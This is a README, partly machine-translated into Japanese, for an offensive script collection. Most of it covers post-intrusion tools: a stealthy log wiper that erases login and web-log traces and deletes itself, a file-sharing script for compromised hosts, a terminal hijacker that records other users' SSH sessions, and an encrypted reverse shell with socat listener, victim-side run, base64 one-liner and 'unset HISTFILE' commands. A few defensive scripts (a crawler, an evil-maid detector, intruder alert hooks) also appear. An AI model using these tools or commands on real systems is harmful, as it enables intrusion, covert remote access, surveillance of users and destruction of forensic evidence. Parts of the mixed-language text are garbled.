
自由戦闘活動中に役立つかもしれないスクリプト集。
このリポジトリには、自由を求める活動中に役立つスクリプトが含まれています。必要に応じて、オンラインで見つけられないものが必要になったときに、不定期に更新されます。 ここにあるものはすべて GPL v3 ライセンス の条件の下で配布されています。
コントリビューションやプルリクエストは大歓迎です。
以下のファイルから証拠となるエントリを削除するログクリーナー:
/var/run/utmp、/var/log/wtmp、/var/log/btmp(who、w、last コマンドの出力を制御)/var/log/lastlog(lastlog コマンドの出力を制御)/var/**/*.log(.log.1、.log.2.gz 等を含む)エントリは IP アドレスおよび/または関連するホスト名に基づいて削除されます。
ログを改ざんする際にファイルディスクリプタを壊さないように特別な注意が払われています。つまり、改ざん後もログへの書き込みが継続され、クリーンアップがはるかに目立たなくなります。すべての作業は tmpfs ドライブ上で行われ、作成されたファイルは安全に消去されます。
警告: このスクリプトは Linux でのみテストされており、他の Unix 系では UTMP エントリをクリーンアップできません。
usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME] [--verbose] [--check] [log_files [log_files ...]]
Stealthy log file cleaner.
positional arguments: log_files Specify any log files to clean in addition to /var/**/*.log.
optional arguments: -h, --help show this help message and exit --user USER, -u USER The username to remove from the connexion logs. --ip IP, -i IP The IP address to remove from the logs. --hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS of the IP. --regexp REGEXP, -r REGEXP A regular expression to select log lines to delete (optional)
--verbose, -v Print debug messages.
--check, -c If present, the user will be asked to confirm each
deletion from the logs.
--daemonize, -d Start in the background and delete logs when the
current session terminates. Implies --self-delete.
--self-delete, -s Automatically delete the script after its execution.
デフォルトでは、引数が指定されていない場合、スクリプトは`SSH_CONNECTION`環境変数に基づいてスクラブするIPアドレスを特定しようとします。そのIPの逆引きDNSに一致するエントリも削除されます。
#### 基本的な例:```
./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check
...IPアドレスが151.80.119.32であるか、ホスト名がmanalyzer.orgであるユーザーrootのすべてのエントリを削除します。
--checkオプションにより、各レコードを削除する前にユーザーに確認が求められます。最後に、デフォルトのファイルに加えて、/etc/app/logs/access.logファイルが処理されます。
フォルダが位置引数として指定された場合(例:/etc/app/logs/)、スクリプトはそれらを再帰的にクロールし、.log拡張子を持つすべてのファイル(.log.1、.log.2.gzなども含む)をクリーンアップします。
ログファイルから任意の行を削除したい場合もあります。そのためには、--regexpオプションを使用します。例えば、次のコマンドラインは、指定されたIPからのPHPファイルへのPOSTリクエストをすべて検索します:```
./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"
#### スクリプトのデーモン化```
./nojail.py --daemonize
SSH接続から実行される場合、このコマンドは接続が閉じられた直後に、検出されたIPアドレスとホスト名を使用して現在のユーザーのアクティビティに関するすべてのログを削除します。このスクリプトはその後、自動的に自身を削除します。 アプリケーションからエラーメッセージを受け取る機会がないことに注意してください。指定した引数が正しいことを確認するために、デーモンを起動する前に一度ログの削除を試みることをお勧めします。 TTYのないシェルにいる場合、スクリプトはセッションの終了を検出できません。ログが60秒後に削除されること、およびその前にログアウトすべきこと(スクリプト実行後にさらにエントリが作成されるリスクを避けるため)が通知されます。
root@proxy:~# ./nojail.py [ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com). [] 2 entries removed from /var/run/utmp! [] 4 entries removed from /var/log/wtmp! [ ] No entries to remove from /var/log/btmp. [] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net [] 4 lines removed from /var/log/nginx/error.log! [] 11 lines removed from /var/log/nginx/access.log! [] 4 lines removed from /var/log/auth.log!
### 免責事項
このスクリプトは無保証で提供されます。
そもそもやるべきでなかったことの痕跡をすべて消せなくても、私を責めないでください。
## share.sh
ポータブルで安全なファイル共有スクリプト。自由を求める戦いにおいて、一般に侵害されたマシンにscpでファイルを送ることはできません。ファイルをアップロードする代替手段が必要ですが、ほとんどの共有サービスは制限が厳しすぎるか、コマンドラインから簡単にファイルを取得する方法を提供していません。また、セキュリティ上の考慮から、クラウドプロバイダーが永遠にコピーを保持することを恐れて、機密ファイルをアップロードすることを避ける人もいます。
この小さくポータブルなbashスクリプトは、[transfer.sh](https://transfer.sh)を利用してその問題を解決します。それは...
* アップロード前にファイルを暗号化(対称AES-256-CBC)。
* システムに`torify`が存在する場合、自動的に使用して匿名性を高めます。
必要な依存関係は`openssl`と、`curl`または`wget`のいずれかだけです。
### 使い方```
root@proxy:~# ./share.sh ~/file_to_share "My_Secure_Encryption_Key!"
Success! Retrieval command: ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
root@proxy:~# ./share.sh -r file_to_share "My_Secure_Encryption_Key!" https://transfer.sh/BQPFz/28239
File retrieved successfully!
アップロード時に追加の引数を指定することで、ファイルのダウンロード可能最大回数(-m)と、transfer.shがファイルを保持する日数(-d)を制御できます。これらのオプションのデフォルト値は両方とも1です。
警告: 暗号化キーにスペースを使用しないでください。パスフレーズの最初の単語のみが有効になります。これは、getoptsが引数を処理する方法に起因するものと思われます。この問題の修正に興味がある方は、プルリクエストをお待ちしています。
AutoJackは、EmptyMonkeyのshelljackを活用して、SSH経由で接続する任意のユーザーのターミナルを記録する短いスクリプトです。auth.logを監視して成功した接続を検出し、ユーザーのbashプロセスのPIDを特定し、残りの処理をshelljackに任せます。shelljack.
Launch it in a screen, and wait until other users log-in. Their session will be
logged to /root/.local/sj.log.[user].[timestamp].
The script is not particularly stealthy (no attempt is made to hide the shelljack process) but it
will get the job done. Note that to avoid self-incrimination, the root user is not
targeted (this can be trivially commented out in the code).
ListURL is a multi-threaded website crawler which obtains a list of available pages from the target. This script is useful for bug-bounty hunters trying to establish the attack surface of a web application.
usage: listurl.py [-h] [--max-depth MAX_DEPTH] [--threads THREADS] [--url URL]
[--external] [--subdomains] [-c COOKIE]
[--exclude-regexp EXCLUDE_REGEXP]
[--show-regexp SHOW_REGEXP] [--verbose]
ウェブサイトを再帰的にすべてのURLを取得してマッピングします。
オプション引数:
-h, --help このヘルプメッセージを表示して終了する
--max-depth MAX_DEPTH, -m MAX_DEPTH
クロールする最大深度(デフォルト: 3)
--threads THREADS, -t THREADS
使用するスレッド数(デフォルト: 10)
--url URL, -u URL 開始ページのURL
--external, -e 外部リンクを辿る(デフォルト: false)
--subdomains, -d サブドメインをスコープに含める(デフォルト: false)
-c COOKIE, --cookie COOKIE
リクエストにクッキーを追加します。複数回指定可能。例: -c "user=admin"
--exclude-regexp EXCLUDE_REGEXP, -r EXCLUDE_REGEXP
無視するURLに一致する正規表現。指定された式はURL全体に一致する必要はなく、一部のみで構いません。
--show-regexp SHOW_REGEXP, -s SHOW_REGEXP
表示結果をフィルタリングする正規表現。指定された式は結果内で検索され、URL全体に一致する必要はありません。例: \.php$
--no-certificate-check, -n
SSL証明書の検証を無効にする
--output-file OUTPUT_FILE, -o OUTPUT_FILE
取得したURLを書き込むファイル
--verbose, -v より詳細な出力。複数回指定可能。```
Here is the sample output for a small website:
./listurl.py -u https://manalyzer.org [] 深さ1のクロールを開始しました。 [] 深さ2のクロールを開始しました.... [] 深さ3のクロールを開始しました。 [] 発見されたURL: https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET) https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET) https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET) https://manalyzer.org/upload (POST) https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET) https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET) https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET) https://manalyzer.org/ (GET) https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET) https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET) https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET) https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET) https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET) https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET) https://manalyzer.org (GET) https://manalyzer.org/bounty (GET) https://manalyzer.org/search (POST)```
The --exclude-regexp and --show-regexp options are used to control which
URLs should be shown or ignored. For instance, in the example above, you may want
to ignore pages which are likely to be very similar:
./listurl.py -u https://manalyzer.org --exclude-regexp "/report/"
[*] 深度1でクロールを開始しました。
[*] 深度2でクロールを開始しました...
[*] 深度3でクロールを開始しました。
[*] 発見されたURL:
https://manalyzer.org (GET)
https://manalyzer.org/bounty (GET)
https://manalyzer.org/upload (POST)
https://manalyzer.org/search (POST)
https://manalyzer.org/ (GET)```
Note that the matching URLs will *not* be crawled. This is particularly useful
when the script gets lost in deep comment pages or repetitive content. Alternately,
you may only be interested in PHP scripts: ``./listurl.py --show-regexp "\.php$"``.
### Crawl parameters
By default, the crawler only goes 3 levels deep. This is something you can control
with the ``--max-depth`` option.
Another consideration is whether URLs pointing to external domains should be followed.
By default, the script doesn't, but you can enable this by setting the ``--external``
switch. If you're not interested in random external domains but still want to extend
the crawl to subdomains, you can set the ``--subdomains`` switch:
./listurl.py -u https://google.com --subdomains [] 深さ1でのクロールを開始しました。 [] 深さ2でのクロールを開始しました。^C 割り込みを検出しました!スレッドがシャットダウンするまで数秒お待ちください... [*] 発見されたURL: https://drive.google.com/drive/ (GET) https://google.com/../../policies/privacy/example/phone-number.html (GET) https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET) https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET) https://mail.google.com/mail/?tab=Tm (GET) https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET) https://google.com/locations/ (GET) [...]```
Notice that if the script takes too long, you can hit CTRL+C anytime to shut it down. You'll then be shown the pages discovered so far.
If you need to access authenticated pages on a website, you can provide
cookies to listurl.py from the command line with the --cookie option.
Finally, if you're working on a website which has an invalid or self-signed SSL
certificate, use the --no-certificate-check option to ignore SSL errors.
ersh is an encrypted reverse shell written in pure Python. Ever been on a
box with no standard utilities or compilation tools, and no easy way to upload
binaries? Are you afraid than an IDS will notice an outbound shell? Accidentally
closed your netcat listener because you pressed ^C?
Suffer no more.
標準ユーティリティやコンパイルツールがなく、バイナリを簡単にアップロードする方法もない
ボックス?IDSが発信シェルに気付くのが怖い?誤って
^Cを押してnetcatリスナーを閉じてしまった?
もう苦しむ必要はありません。ersh offers the following features:
For a more detailed discussion about how this tool came to be, please refer to this blog post.
This script needs to be edited before it works! Look for this marker near the beginning:
###############################################################################
# 以下のパラメータを編集してください
###############################################################################```
The ```HOST``` and ```PORT``` are self-explanatory, but you may need additional help
for the SSL certificates. Nobody wants to fight against OpenSSL's client however, so
you can just use the following one-liners:
openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt```
That's it! You should now have five new files in your current folder: server.(crt|key|pem)
and client.(crt|key). Some of them need to be inserted in the script so
the reverse shell and the listener can authenticate each other. Specifically:
client_key should contain the contents of client.key.client_crt should contain the contents of client.crt.server_crt should contain the contents of server.crt.That's it, no more editing required.
Considering that a full TLS negociation is going to proceed, a traditional nc listener
will not suffice here. socat has been chosen for this task, due to its ability to
handle encryption and TTYs. On Debian-based distributions, you should be able to obtain
it by simply running sudo apt-get install socat.
Assuming you're still in the folder where you generated the keys and certificates, and you want to listen on port 443, here is the command line you should run on the machine where the reverse shell will arrive:
socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:`tty`,raw,echo=0```
### Running from memory
You don't need to copy the script to the remote machine for it to work. Here is a simple way to run it
from a non-interactive shell. Copy the whole script to your clipboard and run the following commands on
the victim:
python - <<'EOF' [paste script contents here] 'EOF'```
If you're trying to launch ersh.py from an environment which doesn't support multiple lines (such
as Weevely), you can also try generating a one-liner like this:
root@attacker:~/freedomfighting# gzip -c ersh.py | base64
H4sICPMsblkAA2UucHkA1Vp5k6O4kv+fT8FUx8RULdU2PsB27asXCxh8Ajbgs2eiHocwmNMcxvjT
r4Rdd0/PvNiZjV0iqgxSKpXK45cpxJef6nma1A03rMdl5kQhdnNzg4EkdWpxiRsl/l/jPM1cEyj6
[...]
weevely> echo "H4sICPMsblkAA2..." | base64 -d | gunzip | python```
### Sample output
On the receiver machine:
root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:tty,raw,echo=0```
On the victim:
root@victim:~# python ersh.py
[*] 接続が確立されました!
root@victim:~#```
And on the receiver again:
root@attacker:/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:# unset HISTFILE
root@victim:~#```tty,raw,echo=0
root@victim:
This script was written to detect evil maid attacks. It does so by checking at boot time if the hard drive was powered on but not the OS (for instance, if it was taken out of the computer for a copy, or if someone tried to boot the machine but was stopped by a FDE password).
You need to make sure this script will run at every boot. The following instructions will work on distributions using systemd.
/etc/systemd/system/. Fix paths inside of it as needed.
The script will run as root so make sure it is not world writable!#> systemctl enable boot_check.serviceInstall dependencies:
#> apt install smartmontools dialogRun the script once so it initializes:
#> ./boot_check.pyIf a confirmation message appears, you're good to go.
If you want to make sure that the script works, make sure you do the following:
This script was created to provide a simple way to "booby-trap" certain
executables on a linux system. The idea is to detect intruders when they use
certain binaries (id, whoami, gcc) on a server they don't own.
To protect those binaries, notify_hook.py create symbolic links to this
script higher-up in the PATH. notify_hook will then send you an alert
and call the intended program in a transparent fashion. For instance, if
you want to "protect" id, just create the following symlink on your machine:
ln -s path/to/notify_hook.py /usr/local/bin/id```
...and all future calls to `id` should be routed through this script. This
is obviously not a foolproof way to detect hackers on your systems, but it
should nonetheless catch the most careless intruders.
### Customization
Some programs and scripts on your system may regularly invoke some of the
binaries you wish to protect. In that case, you can edit a variable called
`CALLER_WHITELIST` placed at the beginning of the script. Put the name of
those processes in the list to disable alerts from them (regular expressions
are accepted).
The current notification method implemented in this script is a text message
sent thtough Signal with AsamK's
[signal-cli](https://github.com/AsamK/signal-cli). You'll need to install this
project separately if you want to use it, or, more likely, replace the
`notify_callback` function placed on top of `notify_hook.py` with whatever
suits your needs.
### Contact
[](https://github.com/justicerage/freedomfighting/blob/master/justicerage%40manalyzer%5B.%5Dorg)
[](https://twitter.com/JusticeRage)
[](https://pgp.mit.edu/pks/lookup?op=vindex&search=0x40E9F0A8F5EA8754)